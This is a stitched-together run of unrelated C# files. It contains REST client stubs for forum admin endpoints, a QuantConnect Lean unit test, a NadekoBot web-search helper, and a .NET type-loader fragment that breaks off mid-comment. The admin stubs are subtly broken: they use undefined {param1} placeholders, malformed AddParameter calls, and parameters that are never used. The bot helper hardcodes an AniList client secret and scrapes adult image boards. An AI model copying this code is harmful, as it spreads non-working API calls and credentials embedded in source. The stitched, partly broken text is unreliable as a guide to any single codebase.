ReferenceTo: FeedComment /// <para>RelationshipName: BestComment</para> ///</summary> [JsonProperty(PropertyName = "bestComment")] [Updateable(false), Createable(false)] public SfFeedComment BestComment { get; set; } } }
///<summary> ///HTTP Method: POST ///Access: Private public string ReachModelSneakerNet( ) { RestRequest request = new RestRequest($"/Game/ReachModelSneakerNet/{param1}/"); request.AddHeader("X-API-KEY", Apikey); IRestResponse response = client.Execute(request); return response.Response; } ///<summary> ///HTTP Method: GET ///Access: ///<param name="q"></param> ///</summary> public string AdminUserSearch( object q ) { RestRequest request = new RestRequest($"/Admin/Member/Search/"); request.AddHeader("X-API-KEY", Apikey); request.AddParameter("q, q"); IRestResponse response = client.Execute(request); return response.Response; } ///<summary> ///HTTP Method: POST ///Access: Private public string BulkEditPost( ) { RestRequest request = new RestRequest($"/Admin/BulkEditPost/"); request.AddHeader("X-API-KEY", Apikey); IRestResponse response = client.Execute(request); return response.Response; } ///<summary> ///HTTP Method: GET ///Access: ///<param name="membershipFilter"></param> ///<param name="startdate"></param> ///<param name="enddate"></param> ///</summary> public string GetAdminHistory( object membershipFilter, object startdate, object enddate ) { RestRequest request = new RestRequest($"/Admin/GlobalHistory/{param1}/{param2}/"); request.AddHeader("X-API-KEY", Apikey); request.AddParameter("membershipFilter, membershipFilter");request.AddParameter("startdate, startdate");request.AddParameter("enddate, enddate"); IRestResponse response = client.Execute(request); return response.Response; } ///<summary> ///HTTP Method: POST ///Access: Private public string GetAssignedReports( ) { RestRequest request = new RestRequest($"/Admin/Assigned/"); request.AddHeader("X-API-KEY", Apikey); IRestResponse response = client.Execute(request); return response.Response; } ///<summary> ///HTTP Method: POST ///Access: Private public string GetDisciplinedReportsForMember( ) { RestRequest request = new RestRequest($"/Admin/Member/{param1}/Reports/"); request.AddHeader("X-API-KEY", Apikey); IRestResponse response = client.Execute(request); return response.Response; } ///<summary> ///HTTP Method: GET ///Access: public string GetRecentDisciplineAndFlagHistoryForMember( ) { RestRequest request = new RestRequest($"/Admin/Member/{param1}/RecentIncludingFlags/{param2}"); request.AddHeader("X-API-KEY", Apikey); IRestResponse response = client.Execute(request); return response.Response; } ///<summary> ///HTTP Method: POST ///Access: Private public string GetResolvedReports( ) { RestRequest request = new RestRequest($"/Admin/Reports/"); request.AddHeader("X-API-KEY", Apikey); IRestResponse response = client.Execute(request); return response.Response; } ///<summary> ///HTTP Method: GET ///Access: public string GetUserBanState( ) { RestRequest request = new RestRequest($"/Admin/Member/{param1}/GetBanState/"); request.AddHeader("X-API-KEY", Apikey); IRestResponse response = client.Execute(request); return response.Response; } ///<summary> ///HTTP Method: GET ///Access: public string GetUserPostHistory( ) { RestRequest request = new RestRequest($"/Admin/Member/{param1}/PostHistory/{param2}/"); request.AddHeader("X-API-KEY", Apikey); IRestResponse response = client.Execute(request); return response.Response; } ///<summary> ///HTTP Method: GET ///Access: public string GetUserWebClientIpHistory( ) { RestRequest request = new RestRequest($"/Admin/Member/{param1}/GetWebClientIpHistory/"); request.AddHeader("X-API-KEY", Apikey); IRestResponse response = client.Execute(request); return response.Response; } ///<summary> ///HTTP Method: POST ///Access: Private public string GloballyIgnoreItem( ) { RestRequest request = new RestRequest($"/Admin/Ignores/GloballyIgnore/"); request.AddHeader("X-API-KEY", Apikey); IRestResponse response = client.Execute(request); return response.Response; } ///<summary> ///HTTP Method: POST ///Access: Private public string OverrideBanOnUser( ) { RestRequest request = new RestRequest($"/Admin/Member/{param1}/SetBan/"); request.AddHeader("X-API-KEY", Apikey); IRestResponse response = client.Execute(request); return response.Response; } ///<summary> ///HTTP Method: POST ///Access: Private public string OverrideGlobalIgnore( ) { RestRequest request = new RestRequest($"/Admin/Ignores/OverrideGlobalIgnore/"); request.AddHeader("X-API-KEY", Apikey); IRestResponse response = client.Execute(request); return response.Response; } ///<summary> ///HTTP Method: POST ///Access: Private public string OverrideGroupWallBanOnUser( ) { RestRequest request = new RestRequest($"/Admin/Member/{param1}/SetGroupWallBan/"); request.AddHeader("X-API-KEY", Apikey); IRestResponse response = client.Execute(request); return response.Response; } ///<summary> ///HTTP Method: POST ///Access: Private public string OverrideMsgBanOnUser( ) { RestRequest request = new RestRequest($"/Admin/Member/{param1}/SetMsgBan/"); request.AddHeader("X-API-KEY", Apikey); IRestResponse response = client.Execute(request); return response.Response; } ///<summary> ///HTTP Method: POST ///Access: Private public string OverturnReport( ) { RestRequest request = new RestRequest($"/Admin/Reports/Overturn/"); request.AddHeader("X-API-KEY", Apikey); IRestResponse response = client.Execute(request); return response.Response; } ///<summary> ///HTTP Method: POST ///Access: Private public string ResolveReport( ) { RestRequest request = new RestRequest($"/Admin/Assigned/Resolve/"); request.AddHeader("X-API-KEY", Apikey); IRestResponse response = client.Execute(request); return response.Response; }
/* * QUANTCONNECT.COM - Democratizing Finance, Empowering Individuals. * Lean Algorithmic Trading Engine v2.0. Copyright 2014 QuantConnect Corporation. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ using System; using System.Collections; using System.Collections.Generic; using System.Linq; using System.Threading; using Moq; using NUnit.Framework; using QuantConnect.Data; using QuantConnect.Data.Auxiliary; using QuantConnect.Data.Market; using QuantConnect.Data.UniverseSelection; using QuantConnect.Interfaces; using QuantConnect.Lean.Engine.DataFeeds; using QuantConnect.Securities; using QuantConnect.Util; namespace QuantConnect.Tests.Engine.DataFeeds { [TestFixture, Parallelizable(ParallelScope.All)] public class SubscriptionUtilsTests { private Security _security; private SubscriptionDataConfig _config; private IFactorFileProvider _factorFileProvider; [SetUp] public void SetUp() { _security = new Security(Symbols.SPY, SecurityExchangeHours.AlwaysOpen(TimeZones.Utc), new Cash(Currencies.USD, 0, 0), SymbolProperties.GetDefault(Currencies.USD), new IdentityCurrencyConverter(Currencies.USD), RegisteredSecurityDataTypesProvider.Null, new SecurityCache()); _config = new SubscriptionDataConfig( typeof(TradeBar), Symbols.SPY, Resolution.Daily, TimeZones.NewYork, TimeZones.NewYork, true, true, false); _factorFileProvider = TestGlobals.FactorFileProvider; } [Test] public void SubscriptionIsDisposed() { var dataPoints = 10; var enumerator = new TestDataEnumerator { MoveNextTrueCount = dataPoints }; var subscription = SubscriptionUtils.CreateAndScheduleWorker( new SubscriptionRequest( false, null, _security, _config, DateTime.UtcNow, Time.EndOfTime ), enumerator, _factorFileProvider, false); var count = 0; while (enumerator.MoveNextTrueCount > 8) { if (count++ > 100) { Assert.Fail($"Timeout waiting for producer. {enumerator.MoveNextTrueCount}"); } Thread.Sleep(1); } subscription.DisposeSafely(); Assert.IsFalse(subscription.MoveNext()); } [Test] public void ThrowingEnumeratorStackDisposesOfSubscription() { var enumerator = new TestDataEnumerator { MoveNextTrueCount = 10, ThrowException = true}; var subscription = SubscriptionUtils.CreateAndScheduleWorker( new SubscriptionRequest( false, null, _security, _config, DateTime.UtcNow, Time.EndOfTime ), enumerator, _factorFileProvider, false); var count = 0; while (enumerator.MoveNextTrueCount != 9) { if (count++ > 100) { Assert.Fail("Timeout waiting for producer"); } Thread.Sleep(1); } Assert.IsFalse(subscription.MoveNext()); Assert.IsTrue(subscription.EndOfStream); // enumerator is disposed by the producer count = 0; while (!enumerator.Disposed) { if (count++ > 100) { Assert.Fail("Timeout waiting for producer"); } Thread.Sleep(1); } } [Test] // This unit tests reproduces GH 3885 where the consumer hanged forever public void ConsumerDoesNotHang() { for (var i = 0; i < 10000; i++) { var dataPoints = 10; var enumerator = new TestDataEnumerator {MoveNextTrueCount = dataPoints}; var subscription = SubscriptionUtils.CreateAndScheduleWorker( new SubscriptionRequest( false, null, _security, _config, DateTime.UtcNow, Time.EndOfTime ), enumerator, _factorFileProvider, false); for (var j = 0; j < dataPoints; j++) { Assert.IsTrue(subscription.MoveNext()); } Assert.IsFalse(subscription.MoveNext()); subscription.DisposeSafely(); } } [Test] public void PriceScaleFirstFillForwardBar() { var referenceTime = new DateTime(2020, 08, 06); var point = new Tick(referenceTime, Symbols.SPY, 1, 2); var point2 = point.Clone(true); point2.Time = referenceTime; var point3 = point.Clone(false); point3.Time = referenceTime.AddDays(1); ; var enumerator = new List<BaseData> { point2, point3 }.GetEnumerator(); var factorFileProfider = new Mock<IFactorFileProvider>(); var factorFile = new FactorFile(_security.Symbol.Value, new[] { new FactorFileRow(referenceTime, 0.5m, 1), new FactorFileRow(referenceTime.AddDays(1), 1m, 1) }, referenceTime); factorFileProfider.Setup(s => s.Get(It.IsAny<Symbol>())).Returns(factorFile); var subscription = SubscriptionUtils.CreateAndScheduleWorker( new SubscriptionRequest( false, null, _security, _config, referenceTime, Time.EndOfTime ), enumerator, factorFileProfider.Object, true); Assert.IsTrue(subscription.MoveNext()); // we do expect it to pick up the prev factor file scale Assert.AreEqual(1, (subscription.Current.Data as Tick).AskPrice); Assert.IsTrue((subscription.Current.Data as Tick).IsFillForward); Assert.IsTrue(subscription.MoveNext()); Assert.AreEqual(2, (subscription.Current.Data as Tick).AskPrice); Assert.IsFalse((subscription.Current.Data as Tick).IsFillForward); subscription.DisposeSafely(); } [Test] public void PriceScaleDoesNotUpdateForFillForwardBar() { var referenceTime = new DateTime(2020, 08, 06); var point = new Tick(referenceTime, Symbols.SPY, 1, 2); var point2 = point.Clone(true); point2.Time = referenceTime.AddDays(1); var point3 = point.Clone(false); point3.Time = referenceTime.AddDays(2); ; var enumerator = new List<BaseData> { point, point2, point3 }.GetEnumerator(); var factorFileProfider = new Mock<IFactorFileProvider>(); var factorFile = new FactorFile(_security.Symbol.Value, new[] { new FactorFileRow(referenceTime, 0.5m, 1), new FactorFileRow(referenceTime.AddDays(1), 1m, 1) }, referenceTime); factorFileProfider.Setup(s => s.Get(It.IsAny<Symbol>())).Returns(factorFile); var subscription = SubscriptionUtils.CreateAndScheduleWorker( new SubscriptionRequest( false, null, _security, _config, referenceTime, Time.EndOfTime ), enumerator, factorFileProfider.Object, true); Assert.IsTrue(subscription.MoveNext()); Assert.AreEqual(1, (subscription.Current.Data as Tick).AskPrice); Assert.IsFalse((subscription.Current.Data as Tick).IsFillForward); Assert.IsTrue(subscription.MoveNext()); Assert.AreEqual(1, (subscription.Current.Data as Tick).AskPrice); Assert.IsTrue((subscription.Current.Data as Tick).IsFillForward); Assert.IsTrue(subscription.MoveNext()); Assert.AreEqual(2, (subscription.Current.Data as Tick).AskPrice); Assert.IsFalse((subscription.Current.Data as Tick).IsFillForward); subscription.DisposeSafely(); } [TestCase(typeof(TradeBar), true)] [TestCase(typeof(OpenInterest), false)] [TestCase(typeof(QuoteBar), false)] public void SubscriptionEmitsAuxData(Type typeOfConfig, bool shouldReceiveAuxData) { var config = new SubscriptionDataConfig(typeOfConfig, _security.Symbol, Resolution.Hour, TimeZones.NewYork, TimeZones.NewYork, true, true, false); var totalPoints = 8; var time = new DateTime(2010, 1, 1); var enumerator = Enumerable.Range(0, totalPoints).Select(x => new Delisting { Time = time.AddHours(x) }).GetEnumerator(); var subscription = SubscriptionUtils.CreateAndScheduleWorker( new SubscriptionRequest( false, null, _security, config, DateTime.UtcNow, Time.EndOfTime ), enumerator, _factorFileProvider, false); // Test our subscription stream to see if it emits the aux data it should be filtered // by the SubscriptionUtils produce function if the config isn't for a TradeBar int dataReceivedCount = 0; while (subscription.MoveNext()) { dataReceivedCount++; if (subscription.Current != null && subscription.Current.Data.DataType == MarketDataType.Auxiliary) { Assert.IsTrue(shouldReceiveAuxData); } } // If it should receive aux data it should have emitted all points // otherwise none should have been emitted if (shouldReceiveAuxData) { Assert.AreEqual(totalPoints, dataReceivedCount); } else { Assert.AreEqual(0, dataReceivedCount); } } private class TestDataEnumerator : IEnumerator<BaseData> { public bool ThrowException { get; set; } public bool Disposed { get; set; } public int MoveNextTrueCount { get; set; } public void Dispose() { Disposed = true; } public bool MoveNext() { Current = new Tick(DateTime.UtcNow,Symbols.SPY, 1, 2); var result = --MoveNextTrueCount >= 0; if (ThrowException) { throw new Exception("TestDataEnumerator.MoveNext()"); } return result; } public void Reset() { } public BaseData Current { get; set; } object IEnumerator.Current => Current; } } }
using NadekoBot.Classes.JSONModels; using NadekoBot.Extensions; using Newtonsoft.Json; using Newtonsoft.Json.Linq; using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Net; using System.Net.Http; using System.Security.Authentication; using System.Text.RegularExpressions; using System.Threading.Tasks; using System.Xml.Linq; namespace NadekoBot.Classes { public enum RequestHttpMethod { Get, Post } public static class SearchHelper { private static DateTime lastRefreshed = DateTime.MinValue; private static string token { get; set; } = ""; public static async Task<Stream> GetResponseStreamAsync(string url, IEnumerable<KeyValuePair<string, string>> headers = null, RequestHttpMethod method = RequestHttpMethod.Get) { if (string.IsNullOrWhiteSpace(url)) throw new ArgumentNullException(nameof(url)); var cl = new HttpClient(); cl.DefaultRequestHeaders.Clear(); switch (method) { case RequestHttpMethod.Get: if (headers != null) { foreach (var header in headers) { cl.DefaultRequestHeaders.TryAddWithoutValidation(header.Key, header.Value); } } return await cl.GetStreamAsync(url).ConfigureAwait(false); case RequestHttpMethod.Post: FormUrlEncodedContent formContent = null; if (headers != null) { formContent = new FormUrlEncodedContent(headers); } var message = await cl.PostAsync(url, formContent).ConfigureAwait(false); return await message.Content.ReadAsStreamAsync().ConfigureAwait(false); default: throw new NotImplementedException("That type of request is unsupported."); } } public static async Task<string> GetResponseStringAsync(string url, IEnumerable<KeyValuePair<string, string>> headers = null, RequestHttpMethod method = RequestHttpMethod.Get) { using (var streamReader = new StreamReader(await GetResponseStreamAsync(url, headers, method).ConfigureAwait(false))) { return await streamReader.ReadToEndAsync().ConfigureAwait(false); } } public static async Task<AnimeResult> GetAnimeData(string query) { if (string.IsNullOrWhiteSpace(query)) throw new ArgumentNullException(nameof(query)); await RefreshAnilistToken().ConfigureAwait(false); var link = "http://anilist.co/api/anime/search/" + Uri.EscapeUriString(query); var smallContent = ""; var cl = new RestSharp.RestClient("http://anilist.co/api"); var rq = new RestSharp.RestRequest("/anime/search/" + Uri.EscapeUriString(query)); rq.AddParameter("access_token", token); smallContent = cl.Execute(rq).Content; var smallObj = JArray.Parse(smallContent)[0]; rq = new RestSharp.RestRequest("/anime/" + smallObj["id"]); rq.AddParameter("access_token", token); var content = cl.Execute(rq).Content; return await Task.Run(() => JsonConvert.DeserializeObject<AnimeResult>(content)).ConfigureAwait(false); } public static async Task<MangaResult> GetMangaData(string query) { if (string.IsNullOrWhiteSpace(query)) throw new ArgumentNullException(nameof(query)); await RefreshAnilistToken().ConfigureAwait(false); var link = "http://anilist.co/api/anime/search/" + Uri.EscapeUriString(query); var smallContent = ""; var cl = new RestSharp.RestClient("http://anilist.co/api"); var rq = new RestSharp.RestRequest("/manga/search/" + Uri.EscapeUriString(query)); rq.AddParameter("access_token", token); smallContent = cl.Execute(rq).Content; var smallObj = JArray.Parse(smallContent)[0]; rq = new RestSharp.RestRequest("/manga/" + smallObj["id"]); rq.AddParameter("access_token", token); var content = cl.Execute(rq).Content; return await Task.Run(() => JsonConvert.DeserializeObject<MangaResult>(content)).ConfigureAwait(false); } private static async Task RefreshAnilistToken() { if (DateTime.Now - lastRefreshed > TimeSpan.FromMinutes(29)) lastRefreshed = DateTime.Now; else { return; } var headers = new Dictionary<string, string> { {"grant_type", "client_credentials"}, {"client_id", "kwoth-w0ki9"}, {"client_secret", "Qd6j4FIAi1ZK6Pc7N7V4Z"}, }; var content = await GetResponseStringAsync( "http://anilist.co/api/auth/access_token", headers, RequestHttpMethod.Post).ConfigureAwait(false); token = JObject.Parse(content)["access_token"].ToString(); } public static async Task<bool> ValidateQuery(Discord.Channel ch, string query) { if (!string.IsNullOrEmpty(query.Trim())) return true; await ch.Send("Please specify search parameters.").ConfigureAwait(false); return false; } public static async Task<string> FindYoutubeUrlByKeywords(string keywords) { if (string.IsNullOrWhiteSpace(keywords)) throw new ArgumentNullException(nameof(keywords), "Query not specified."); if (keywords.Length > 150) throw new ArgumentException("Query is too long."); //maybe it is already a youtube url, in which case we will just extract the id and prepend it with youtube.com?v= var match = new Regex("(?:youtu\\.be\\/|v=)(?<id>[\\da-zA-Z\\-_]*)").Match(keywords); if (match.Length > 1) { return $"https://www.youtube.com/watch?v={match.Groups["id"].Value}"; } if (string.IsNullOrWhiteSpace(NadekoBot.Creds.GoogleAPIKey)) throw new InvalidCredentialException("Google API Key is missing."); var response = await GetResponseStringAsync( $"https://www.googleapis.com/youtube/v3/search?" + $"part=snippet&maxResults=1" + $"&q={Uri.EscapeDataString(keywords)}" + $"&key={NadekoBot.Creds.GoogleAPIKey}").ConfigureAwait(false); JObject obj = JObject.Parse(response); var data = JsonConvert.DeserializeObject<YoutubeVideoSearch>(response); if (data.items.Length > 0) { var toReturn = "http://www.youtube.com/watch?v=" + data.items[0].id.videoId.ToString(); return toReturn; } else return null; } public static async Task<IEnumerable<string>> GetRelatedVideoIds(string id, int count = 1) { if (string.IsNullOrWhiteSpace(id)) throw new ArgumentNullException(nameof(id)); var match = new Regex("(?:youtu\\.be\\/|v=)(?<id>[\\da-zA-Z\\-_]*)").Match(id); if (match.Length > 1) { id = match.Groups["id"].Value; } var response = await GetResponseStringAsync( $"https://www.googleapis.com/youtube/v3/search?" + $"part=snippet&maxResults={count}&type=video" + $"&relatedToVideoId={id}" + $"&key={NadekoBot.Creds.GoogleAPIKey}").ConfigureAwait(false); JObject obj = JObject.Parse(response); var data = JsonConvert.DeserializeObject<YoutubeVideoSearch>(response); return data.items.Select(v => "http://www.youtube.com/watch?v=" + v.id.videoId); } public static async Task<string> GetPlaylistIdByKeyword(string query) { if (string.IsNullOrWhiteSpace(NadekoBot.Creds.GoogleAPIKey)) throw new ArgumentNullException(nameof(query)); var match = new Regex("(?:youtu\\.be\\/|list=)(?<id>[\\da-zA-Z\\-_]*)").Match(query); if (match.Length > 1) { return match.Groups["id"].Value.ToString(); } var link = "https://www.googleapis.com/youtube/v3/search?part=snippet" + "&maxResults=1&type=playlist" + $"&q={Uri.EscapeDataString(query)}" + $"&key={NadekoBot.Creds.GoogleAPIKey}"; var response = await GetResponseStringAsync(link).ConfigureAwait(false); var data = JsonConvert.DeserializeObject<YoutubePlaylistSearch>(response); JObject obj = JObject.Parse(response); return data.items.Length > 0 ? data.items[0].id.playlistId.ToString() : null; } public static async Task<IList<string>> GetVideoIDs(string playlist, int number = 50) { if (string.IsNullOrWhiteSpace(NadekoBot.Creds.GoogleAPIKey)) { throw new ArgumentNullException(nameof(playlist)); } if (number < 1) throw new ArgumentOutOfRangeException(); string nextPageToken = null; List<string> toReturn = new List<string>(); do { var toGet = number > 50 ? 50 : number; number -= toGet; var link = $"https://www.googleapis.com/youtube/v3/playlistItems?part=contentDetails" + $"&maxResults={toGet}" + $"&playlistId={playlist}" + $"&key={NadekoBot.Creds.GoogleAPIKey}"; if (!string.IsNullOrWhiteSpace(nextPageToken)) link += $"&pageToken={nextPageToken}"; var response = await GetResponseStringAsync(link).ConfigureAwait(false); var data = await Task.Run(() => JsonConvert.DeserializeObject<PlaylistItemsSearch>(response)).ConfigureAwait(false); nextPageToken = data.nextPageToken; toReturn.AddRange(data.items.Select(i => i.contentDetails.videoId)); } while (number > 0 && !string.IsNullOrWhiteSpace(nextPageToken)); return toReturn; } public static async Task<string> GetDanbooruImageLink(string tag) { var rng = new Random(); if (tag == "loli") //loli doesn't work for some reason atm tag = "flat_chest"; var link = $"http://danbooru.donmai.us/posts?" + $"page={rng.Next(0, 15)}"; if (!string.IsNullOrWhiteSpace(tag)) link += $"&tags={tag.Replace(" ", "_")}"; var webpage = await GetResponseStringAsync(link).ConfigureAwait(false); var matches = Regex.Matches(webpage, "data-large-file-url=\"(?<id>.*?)\""); if (matches.Count == 0) return null; return $"http://danbooru.donmai.us" + $"{matches[rng.Next(0, matches.Count)].Groups["id"].Value}"; } public static async Task<string> GetGelbooruImageLink(string tag) { var headers = new Dictionary<string, string>() { {"User-Agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1"}, {"Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" }, }; var url = $"http://gelbooru.com/index.php?page=dapi&s=post&q=index&limit=100&tags={tag.Replace(" ", "_")}"; var webpage = await GetResponseStringAsync(url, headers).ConfigureAwait(false); var matches = Regex.Matches(webpage, "file_url=\"(?<url>.*?)\""); if (matches.Count == 0) return null; var rng = new Random(); var match = matches[rng.Next(0, matches.Count)]; return matches[rng.Next(0, matches.Count)].Groups["url"].Value; } public static async Task<string> GetSafebooruImageLink(string tag) { var rng = new Random(); var url = $"http://safebooru.org/index.php?page=dapi&s=post&q=index&limit=100&tags={tag.Replace(" ", "_")}"; var webpage = await GetResponseStringAsync(url).ConfigureAwait(false); var matches = Regex.Matches(webpage, "file_url=\"(?<url>.*?)\""); if (matches.Count == 0) return null; var match = matches[rng.Next(0, matches.Count)]; return matches[rng.Next(0, matches.Count)].Groups["url"].Value; } public static async Task<string> GetRule34ImageLink(string tag) { var rng = new Random(); var url = $"http://rule34.xxx/index.php?page=dapi&s=post&q=index&limit=100&tags={tag.Replace(" ", "_")}"; var webpage = await GetResponseStringAsync(url).ConfigureAwait(false); var matches = Regex.Matches(webpage, "file_url=\"(?<url>.*?)\""); if (matches.Count == 0) return null; var match = matches[rng.Next(0, matches.Count)]; return "http:" + matches[rng.Next(0, matches.Count)].Groups["url"].Value; } internal static async Task<string> GetE621ImageLink(string tags) { try { var headers = new Dictionary<string, string>() { {"User-Agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1"}, {"Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" }, }; var data = await GetResponseStreamAsync( "http://e621.net/post/index.xml?tags=" + Uri.EscapeUriString(tags) + "%20order:random&limit=1", headers); var doc = XDocument.Load(data); return doc.Descendants("file_url").FirstOrDefault().Value; } catch (Exception ex) { Console.WriteLine("Error in e621 search: \n" + ex); return "Error, do you have too many tags?"; } } public static async Task<string> ShortenUrl(string url) { if (string.IsNullOrWhiteSpace(NadekoBot.Creds.GoogleAPIKey)) return url; try { var httpWebRequest = (HttpWebRequest)WebRequest.Create("https://www.googleapis.com/urlshortener/v1/url?key=" + NadekoBot.Creds.GoogleAPIKey); httpWebRequest.ContentType = "application/json"; httpWebRequest.Method = "POST"; using (var streamWriter = new StreamWriter(await httpWebRequest.GetRequestStreamAsync().ConfigureAwait(false))) { var json = "{\"longUrl\":\"" + Uri.EscapeDataString(url) + "\"}"; streamWriter.Write(json); } var httpResponse = (await httpWebRequest.GetResponseAsync().ConfigureAwait(false)) as HttpWebResponse; var responseStream = httpResponse.GetResponseStream(); using (var streamReader = new StreamReader(responseStream)) { var responseText = await streamReader.ReadToEndAsync().ConfigureAwait(false); return Regex.Match(responseText, @"""id"": ?""(?<id>.+)""").Groups["id"].Value; } } catch (Exception ex) { Console.WriteLine("Shortening of this url failed: " + url); Console.WriteLine(ex.ToString()); return url; } } public static string ShowInPrettyCode<T>(IEnumerable<T> items, Func<T, string> howToPrint, int cols = 3) { var i = 0; return "```xl\n" + string.Join("\n", items.GroupBy(item => (i++) / cols) .Select(ig => string.Concat(ig.Select(el => howToPrint(el))))) + $"\n```"; } public static async Task<string[]> GetTosBaseItemLink(string query) { var _query = query.Replace(" ", "+"); var baselink = "http://www.tosbase.com/database/items/"; var link = baselink+ "?item_name=" + _query; var webpage = await GetResponseStringAsync(link).ConfigureAwait(false); MatchCollection matches = Regex.Matches(webpage, "href=\"database/items/(?<url>[\\d]*?)/\""); if (matches.Count == 0) return null; //else if (matches.Count > 1) // return matches.Count + " items has been found.\n" + link; else { var arr = matches.Cast<Match>().Select(m => baselink + m.Groups["url"].Value).Take(5).ToArray(); return arr; } //return matches[0].Groups["url"].Value; } public static async Task<string[]> GetTosNeetAttributesLink(string query) { var _query = query.Replace(" ", "+"); var baselink = "https://tos.neet.tv/"; var link = baselink + "?q=" + _query; var webpage = await GetResponseStringAsync(link).ConfigureAwait(false); MatchCollection matches = Regex.Matches(webpage, "href=\"/attributes/(?<url>[\\d]*?)\""); if (matches.Count == 0) return null; else { var arr = matches.Cast<Match>().Select(m => baselink + "attributes/" + m.Groups["url"].Value).Take(5).ToArray(); return arr; } //else if (matches.Count > 1) // return matches.Count + " items has been found.\n" + link; //else // return baselink + "attributes/" + matches[0].Groups["url"].Value; } public static async Task<string[]> GetTosNeetItemsLink(string query) { var _query = query.Replace(" ", "+"); var baselink = "https://tos.neet.tv/"; var link = baselink + "?q=" + _query; var webpage = await GetResponseStringAsync(link).ConfigureAwait(false); MatchCollection matches = Regex.Matches(webpage, "href=\"/items/(?<url>[\\d]*?)\""); if (matches.Count == 0) return null; else { var arr = matches.Cast<Match>().Select(m => baselink + "items/" + m.Groups["url"].Value).Take(5).ToArray(); return arr; } } public static async Task<string[]> GetTosNeetZonesLink(string query) { var _query = query.Replace(" ", "+"); var baselink = "https://tos.neet.tv/"; var link = baselink + "?q=" + _query; var webpage = await GetResponseStringAsync(link).ConfigureAwait(false); MatchCollection matches = Regex.Matches(webpage, "href=\"/zones/(?<url>[\\d]*?)\""); if (matches.Count == 0) return null; //else if (matches.Count > 1) // return matches.Count + " zones has been found.\n" + link; else { var arr = matches.Cast<Match>().Select(m => baselink + "zones/" + m.Groups["url"].Value).Take(5).ToArray(); return arr; } } public static async Task<string[]> GetTosNeetBuffLink(string query) { var _query = query.Replace(" ", "+"); var baselink = "https://tos.neet.tv/"; var link = baselink + "misc/buffs?q=" + _query; var webpage = await GetResponseStringAsync(link).ConfigureAwait(false); MatchCollection matches = Regex.Matches(webpage, "href=\"/misc/buffs/(?<url>[\\d]*?)\""); if (matches.Count == 0) return null; //else if (matches.Count > 1) // return matches.Count + " zones has been found.\n" + link; else { var arr = matches.Cast<Match>().Select(m => baselink + "misc/buffs/" + m.Groups["url"].Value).Take(5).ToArray(); return arr; } } public static async Task<string[]> GetTosNeetQuests(string query) { var _query = query.Replace(" ", "+"); var baselink = "https://tos.neet.tv/"; var link = baselink + "quests?q=" + _query; var webpage = await GetResponseStringAsync(link).ConfigureAwait(false); MatchCollection matches = Regex.Matches(webpage, "href=\"/quests/(?<url>[\\d]*?)\""); string[] arr; if (matches.Count == 0) return null; //else if (matches.Count > 1) // return matches.Count + " zones has been found.\n" + link; else { arr = matches.Cast<Match>().Select(m => baselink + "quests/" + m.Groups["url"].Value).Take(5).ToArray(); return arr; } } } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using System; using System.Runtime; using System.Collections.Generic; using System.Diagnostics; using System.Runtime.InteropServices; using System.Threading; using System.Reflection.Runtime.General; using Internal.Runtime; using Internal.Runtime.Augments; using Internal.Runtime.CompilerServices; using Internal.Metadata.NativeFormat; using Internal.NativeFormat; using Internal.TypeSystem; using Internal.TypeSystem.NativeFormat; namespace Internal.Runtime.TypeLoader { public sealed partial class TypeLoaderEnvironment { public enum MethodAddressType { None, Exact, Canonical, UniversalCanonical } /// <summary> /// Resolve a MethodDesc to a callable method address and unboxing stub address. /// </summary> /// <param name="method">Native metadata method description object</param> /// <param name="methodAddress">Resolved method address</param> /// <param name="unboxingStubAddress">Resolved unboxing stub address</param> /// <returns>true when the resolution succeeded, false when not</returns> internal static bool TryGetMethodAddressFromMethodDesc( MethodDesc method, out IntPtr methodAddress, out IntPtr unboxingStubAddress, out MethodAddressType foundAddressType) { methodAddress = IntPtr.Zero; unboxingStubAddress = IntPtr.Zero; foundAddressType = MethodAddressType.None; #if SUPPORTS_R2R_LOADING TryGetCodeTableEntry(method, out methodAddress, out unboxingStubAddress, out foundAddressType); #endif #if SUPPORT_DYNAMIC_CODE if (foundAddressType == MethodAddressType.None) MethodEntrypointStubs.TryGetMethodEntrypoint(method, out methodAddress, out unboxingStubAddress, out foundAddressType); #endif if (foundAddressType != MethodAddressType.None) return true; // Otherwise try to find it via an invoke map return TryGetMethodAddressFromTypeSystemMethodViaInvokeMap(method, out methodAddress, out unboxingStubAddress, out foundAddressType); } /// <summary> /// Resolve a MethodDesc to a callable method address and unboxing stub address by searching /// by searching in the InvokeMaps. This function is a wrapper around TryGetMethodInvokeDataFromInvokeMap /// that produces output in the format which matches the code table system. /// </summary> /// <param name="method">Native metadata method description object</param> /// <param name="methodAddress">Resolved method address</param> /// <param name="unboxingStubAddress">Resolved unboxing stub address</param> /// <returns>true when the resolution succeeded, false when not</returns> private static bool TryGetMethodAddressFromTypeSystemMethodViaInvokeMap( MethodDesc method, out IntPtr methodAddress, out IntPtr unboxingStubAddress, out MethodAddressType foundAddressType) { methodAddress = IntPtr.Zero; unboxingStubAddress = IntPtr.Zero; foundAddressType = MethodAddressType.None; #if SUPPORTS_NATIVE_METADATA_TYPE_LOADING NativeFormatMethod nativeFormatMethod = method.GetTypicalMethodDefinition() as NativeFormatMethod; if (nativeFormatMethod == null) return false; MethodSignatureComparer methodSignatureComparer = new MethodSignatureComparer( nativeFormatMethod.MetadataReader, nativeFormatMethod.Handle); // Try to find a specific canonical match, or if that fails, a universal match if (TryGetMethodInvokeDataFromInvokeMap( nativeFormatMethod, method, ref methodSignatureComparer, CanonicalFormKind.Specific, out methodAddress, out foundAddressType) || TryGetMethodInvokeDataFromInvokeMap( nativeFormatMethod, method, ref methodSignatureComparer, CanonicalFormKind.Universal, out methodAddress, out foundAddressType)) { if (method.OwningType.IsValueType && !method.Signature.IsStatic) { // In this case the 